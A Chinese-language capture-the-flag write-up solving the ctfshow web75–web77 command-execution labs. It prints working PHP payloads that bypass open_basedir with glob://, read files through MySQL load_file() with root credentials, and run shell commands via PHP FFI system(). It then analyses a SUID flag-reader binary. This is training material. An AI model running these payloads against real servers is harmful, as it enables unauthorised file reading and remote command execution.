ctfshow-web入門-命令執行(web75-web77)

目錄

1、web75

2、web76

3、web77


1、web75

使用 glob 協議繞過 open_basedir,讀取根目錄下的文件,payload:

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

存在 flag36.txt?

利用 mysql load_file 讀文件,提示中是從數據庫 ctftraining 中查詢的,就算我們不知道這個數據庫名,也可以直接從默認的?information_schema 中查,該數據庫包含了所有的數據庫的內容。

payload:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();die();
};exit();

解釋:

try {// 使用PDO(PHP Data Objects)創建一個新的數據庫連接對象,指定DSN、用戶名(root)和密碼(root)$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');// 執行一個SQL查詢,從指定的文件(/flag36.txt)中讀取內容foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  // 輸出讀取到的內容,并追加一個豎線(|)echo($row[0])."|";}// 將數據庫連接對象設置為null,關閉連接$dbh = null;
} catch (PDOException $e) {// 如果發生PDO異常,輸出錯誤信息echo $e->getMessage();// 終止腳本執行die();
}// 終止腳本執行
exit();

?$dbh 是數據庫連接句柄(database handle),它是通過 new PDO 創建的,用于與數據庫進行交互。

PDO(PHP Data Objects)是PHP中的一個擴展,它提供了一個統一的接口來訪問不同的數據庫。它支持預處理語句和事務,使數據庫操作更安全和高效。

DSN(數據源名稱,Data Source Name)是一個包含數據庫連接信息的字符串。它通常包括數據庫類型、主機名、數據庫名稱等信息。在創建PDO對象時指定,即 'mysql:host=localhost;dbname=information_schema'。這個字符串包含了數據庫類型(mysql)、主機名(localhost)和數據庫名稱(information_schema)。

foreach 是PHP中的一個控制結構,用于遍歷數組或對象。在上面payload中,foreach 用于遍歷SQL查詢的結果集(由 $dbh->query 返回),并處理每一行的數據。

拿到 flag:ctfshow{b59fea1d-d5d8-4d90-a9dc-e318e43733f1}

當然我們也可以查一下有哪些數據庫:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

payload 解釋:

// 數據源名稱(DSN),指定數據庫類型、主機名和數據庫名稱
$dsn = "mysql:host=localhost;dbname=information_schema";// 使用PDO(PHP Data Objects)創建一個新的數據庫連接對象,使用指定的DSN、用戶名(root)和密碼(root)
$db = new PDO($dsn, 'root', 'root');// 執行一個SQL查詢,從SCHEMATA表中選擇并連接所有數據庫名稱(SCHEMA_NAME),返回一個結果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");// 遍歷結果集中的每一行,并輸出第一個字段(即連接的數據庫名稱),然后追加一個豎線(|)
foreach($rs as $row){echo($row[0])."|";
}// 終止腳本執行
exit();

確實存在一個名為?ctftraining 的數據庫?

我們還可以繼續查 ctftraining 數據庫下的所有表:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) FROM TABLES WHERE TABLE_SCHEMA = 'ctftraining'");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

存在一個名為??FLAG_TABLE 的表

查該表下的列名:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(COLUMN_NAME) FROM COLUMNS WHERE TABLE_SCHEMA = 'ctftraining' and TABLE_NAME = 'FLAG_TABLE'");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

得到列名為?FLAG_COLUMN?

查詢具體字段信息:

c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("SELECT FLAG_COLUMN FROM FLAG_TABLE");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

不行

但是由于我們知道了 flag 的路徑,所有直接使用 load_file() 函數進行文件讀取就行了。

2、web76

讀取根目錄下的文件:

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

存在名為?flag36d.txt 的文件

使用上一題的方法獲取:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {  echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();die();
};exit();

拿到 flag:ctfshow{d95d6fc4-3d51-4ab3-92b0-49edd1421b98}

3、web77

讀取根目錄后發現存在?flag36x.txt 和 readflag

(readflag 這個東西在前面的題里面遇到過,它是一個可執行的二進制文件,執行它即可獲取 flag,這里為什么要用這個 readflag 而不是直接讀取 flag36x.txt 我們后面再說)

采用前面的方法,但是回顯?could not find driver

先放上題目提示里給到 payload:

用 PHP 中的 FFI(Foreign Function Interface)來調用 C 語言的 system 函數,并執行一個 Shell?命令。

$ffi = FFI::cdef("int system(const char *command);");//創建一個system對象
$a='/readflag > 1.txt';//沒有回顯的
$ffi->system($a);//通過$ffi去調用system函數

FFI::cdef 方法用于定義 C 函數原型,其中 int system(const char *command); 是 C 語言中 system? 函數的聲明。system 函數接受一個字符串參數(即Shell命令),并在系統的命令行中執行該命令;

之后執行 /readflag 程序并將其輸出重定向到文件 1.txt;

通過 FFI 對象 $ffi 調用了前面定義的 system 函數,并傳遞了字符串變量 $a 作為參數。也就是說,實際執行的是 Shell 命令 /readflag > 1.txt,效果是在系統中運行 /readflag 程序,并將其輸出結果保存到當前目錄下的 1.txt 文件中。

我們先來試一下,payload:

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

之后訪問 1.txt,即可看到 flag:ctfshow{3ff9dd00-8512-435a-b744-a1d4833f5bb4}

接下來我們說一下為什么讀取 flag36x.txt 不行

我們先嘗試讀一下,構造 payload:

c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt> 2.txt';$ffi->system($a);

之后訪問 2.txt,發現是空白,沒有任何內容:

看一下根目錄下文件的權限:

c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 3.txt';$ffi->system($a);

訪問 3.txt 查看執行結果:

先看 flag36x.txt:-r--r----- 1 root root 46 Jul 1 07:19 flag36x.txt

第一個字符 - 表示這是一個普通文件。
接下來的三個字符 r-- 表示文件所有者(root)具有讀取權限,但沒有寫入或執行權限。
后面的三個字符 r-- 表示文件所屬組(root組)具有讀取權限,但沒有寫入或執行權限。
最后的三個字符 --- 表示其他用戶沒有任何權限(既沒有讀取、寫入、也沒有執行權限)。

而我們當前是一個什么用戶呢:

c=$ffi = FFI::cdef("int system(const char *command);");$a='id > 3.txt';$ffi->system($a);

用戶 www-data 并不屬于文件 flag36x.txt 的所有者(root 用戶),也不屬于文件所屬組(root 組)。因此,根據文件的權限設置,www-data 用戶無法讀取 flag36x.txt 文件的內容。

而對于 readflag:-r-sr-xr-x 1 root root 8392 Sep 16 2020 readflag

第一個字符 - 表示這是一個普通文件。
接下來的三個字符 r-s 表示文件所有者(root)具有讀取和執行權限,并且設置了SUID權限位。
后面的三個字符 r-x 表示文件所屬組(root組)具有讀取和執行權限,但沒有寫入權限。
再后面的三個字符 r-x 表示其他用戶具有讀取和執行權限,但沒有寫入權限。

我們讀取一下 /readflag 的內容:

c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /readflag > 4.txt';$ffi->system($a);

訪問 4.txt 下載:

"ELF" 開頭的文件通常是可執行的二進制文件

使用 ida64 打開反編譯分析一下:

偽代碼分析:

int __fastcall main(int argc, const char **argv, const char **envp)
{setuid(0);                      // 提升權限為root用戶puts("ctfshow flag getter");    // 輸出一條信息到標準輸出system("cat /flag36x.txt");     // 執行命令,輸出文件 /flag36x.txt 的內容return 0;                       // 返回0,表示程序正常結束
}

就是提權成 root 后讀取 根目錄下的 flag36x.txt,這也是為什么我們執行 readflag 后就會讀取到 flag 的內容。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/39032.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/39032.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/39032.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

讀書筆記-Java并發編程的藝術-第3章(Java內存模型)-第9節(Java內存模型綜述)

3.9 Java內存模型綜述 前面對Java內存模型的基礎知識和內存模型的具體實現進行了說明。下面對Java內存模型的相關知識做一個總結。 3.9.1 處理器的內存模型 順序一致性內存模型是一個理論參考模型&#xff0c;JMM和處理器內存模型在設計時通常會以順序一致性內存模型為參照。…

ORB-SLAM2 安裝編譯運行(非 ROS)

安裝編譯 必備安裝工具 主要包括 cmake 、 git 、 gcc 、 g gcc 的全稱是 GNU Compiler Collection&#xff0c;它是由 GNU 推出的一款功能強大的、性能優越的 多平臺編譯器&#xff0c;是一個能夠編譯多種語言的編譯器。最開始 gcc 是作為 C 語言的編譯器&#xff08;GNU …

如何將等保2.0的要求融入日常安全運維實踐中?

等保2.0的基本要求 等保2.0是中國網絡安全領域的基本國策和基本制度&#xff0c;它要求網絡運營商按照網絡安全等級保護制度的要求&#xff0c;履行相關的安全保護義務。等保2.0的實施得到了《中華人民共和國網絡安全法》等法律法規的支持&#xff0c;要求相關行業和單位必須按…

C#/WPF 自制白板工具

隨著電子屏幕技術的發展&#xff0c;普通的黑板已不再適用現在的教學和演示環境&#xff0c;電子白板應運而生。本篇使用WPF開發了一個電子白板工具&#xff0c;功能豐富&#xff0c;非常使用日常免費使用&#xff0c;或者進行再次開發。 示例代碼如下&#xff1a; Stack<St…

拓撲排序[講課留檔]

拓撲排序 拓撲排序要解決的問題是給一個有向無環圖的所有節點排序。 即在 A O E AOE AOE網中找關鍵路徑。 前置芝士&#xff01; 有向圖&#xff1a;有向圖中的每一個邊都是有向邊&#xff0c;即其中的每一個元素都是有序二元組。在一條有向邊 ( u , v ) (u,v) (u,v)中&…

JavaScript 動態網頁實例 —— 廣告效果

廣告是現代網頁設計中不可或缺的內容。廣告可以有很多種形式,但最終目的都是要吸引觀眾的注意力。盡管廣告少不了畫面、音效和廣告語等效果,但其實現主要還是應用JavaScript 代碼,只要很好掌握了JavaScript程序設計,剩下的就是創意和美工了。本章介紹幾種廣告效果,包括對聯…

ChatGPT 官方發布桌面端,向所有用戶免費開放

Open AI 官方已經發布了適用于 macOS 的 ChatGPT 桌面端應用。 此前&#xff0c;該應用一直處于測試階段&#xff0c;僅 Plus 付費訂閱用戶可以使用。 目前已面向所有用戶開放&#xff0c;所有 Mac 用戶均可免費下載使用。 我們可以訪問官網下載安裝包&#xff1a;https://op…

Java利用poi實現word,excel,ppt,pdf等各類型文檔密碼檢測

介紹 最近工作上需要對word,excel,ppt,pdf等各類型文檔密碼檢測&#xff0c;對文件進行分類&#xff0c;有密碼的和沒密碼的做區分。查了一堆資料和GPT都不是很滿意&#xff0c;最后東拼西湊搞了個相對全面的檢測工具代碼類&#xff0c;希望能給需要的人帶來幫助。 說明 這段…

PHP 爬蟲之使用 Curl庫抓取淘寶商品列表數據網頁的方法

使用 PHP 的 cURL 庫來抓取淘寶商品列表數據網頁需要謹慎&#xff0c;因為淘寶等電商平臺通常會有反爬蟲機制&#xff0c;以防止數據被濫用。然而&#xff0c;如果你只是出于學習目的&#xff0c;并且了解并遵守了淘寶的robots.txt文件和相關的使用條款&#xff0c;你可以嘗試使…

2024 年江西省研究生數學建模競賽題目 B題投標中的競爭策略問題--完整思路、代碼結果分享(僅供學習)

招投標問題是企業運營過程中必須面對的基本問題之一。現有的招投標平臺有國家級的&#xff0c;也有地方性的。在招投標過程中&#xff0c;企業需要全面了解招標公告中的相關信息&#xff0c;在遵守招投標各種規范和制度的基礎上&#xff0c;選擇有效的競爭策略和技巧&#xff0…

基于JSP技術的校園餐廳管理系統

開頭語&#xff1a; 你好呀&#xff0c;我是計算機學長貓哥&#xff01;如果您對校園餐廳管理系統感興趣或有相關需求&#xff0c;歡迎隨時聯系我。我的聯系方式在文末&#xff0c;期待與您交流&#xff01; 開發語言&#xff1a;Java 數據庫&#xff1a;MySQL 技術&#x…

QT的編譯過程

qmake -project 用于從源代碼生成項目文件&#xff0c;qmake 用于從項目文件生成 Makefile&#xff0c;而 make 用于根據 Makefile 構建項目。 詳細解釋&#xff1a; qmake -project 這個命令用于從源代碼目錄生成一個初始的 Qt 項目文件&#xff08;.pro 文件&#xff09;。它…

Keil5中:出現:failed to execute ‘...\ARMCC\bin\ArmCC‘

點三個點&#xff0c;去自己的磁盤找自己的ARM\ARMCC\bin

深入解析:計算機系統總線全方位解讀

在計算機組成原理中&#xff0c;總線系統是連接計算機各個部件的重要通道。本文將詳細介紹系統總線的基本概念、分類、特性及性能指標、結構和控制方式。希望通過本文的講解&#xff0c;能夠幫助基礎小白更好地理解計算機系統總線的工作原理。 系統總線 (System Bus) 系統總線…

查看視頻時間基 time_base

時間基、codec, 分辨率&#xff0c;音頻和視頻的都一樣&#xff0c;才可以直接使用ffmpeg -f concat -i file.txt 方式合并。 On Thu, Dec 03, 2015 at 21:54:53 0200, redneb8888 wrote: I am looking for a way to find the time base of a stream (video or audio), $ ffpr…

selenium 簡介以及 selenium 環境配置

文章目錄 一、初識 selenium1.selenium 簡介2.selenium 三大組件3.selenium工作過程和原理4.selenium自動化測試流程5.selenium優點 二、自動化測試1.UI自動化本質2.UI自動化的前提3.適用場景4.UI自動化的原則5.UI自動化的覆蓋率 三、selenium 環境配置 一、初識 selenium 1.s…

單點登錄demo

gitee.com 搜索xxl(許雪里) 的sso 操作demo 完整流程圖

網絡安全控制相關技術

1.惡意代碼&#xff08;Malware&#xff09; 網絡從出現、發展演進都始終伴隨著安全方面的問題&#xff0c;只是每個階段表現的形式不同而已。在網絡安全方面&#xff0c;不能不提進行網絡攻擊的網絡病毒&#xff0c;或者說惡意代碼&#xff08;Malware&#xff09;。所有惡意…

MySQL中的網絡命名空間支持

Network Namespace Support&#xff08;網絡命名空間支持&#xff09; 提供了在Linux系統中創建和管理多個隔離網絡空間的能力。網絡命名空間是來自主機系統的網絡堆棧的邏輯副本。網絡命名空間對于設置容器或虛擬環境非常有用。每個名稱空間都有自己的IP地址、網絡接口、路由表…

什么是應用安全態勢管理 (ASPM):綜合指南

軟件開發在不斷發展&#xff0c;應用程序安全也必須隨之發展。 傳統的應用程序安全解決方案無法跟上當今開發人員的工作方式或攻擊者的工作方式。 我們需要一種新的應用程序安全方法&#xff0c;而ASPM在該方法中發揮著關鍵作用。 什么是 ASPM&#xff1f; 應用程序安全…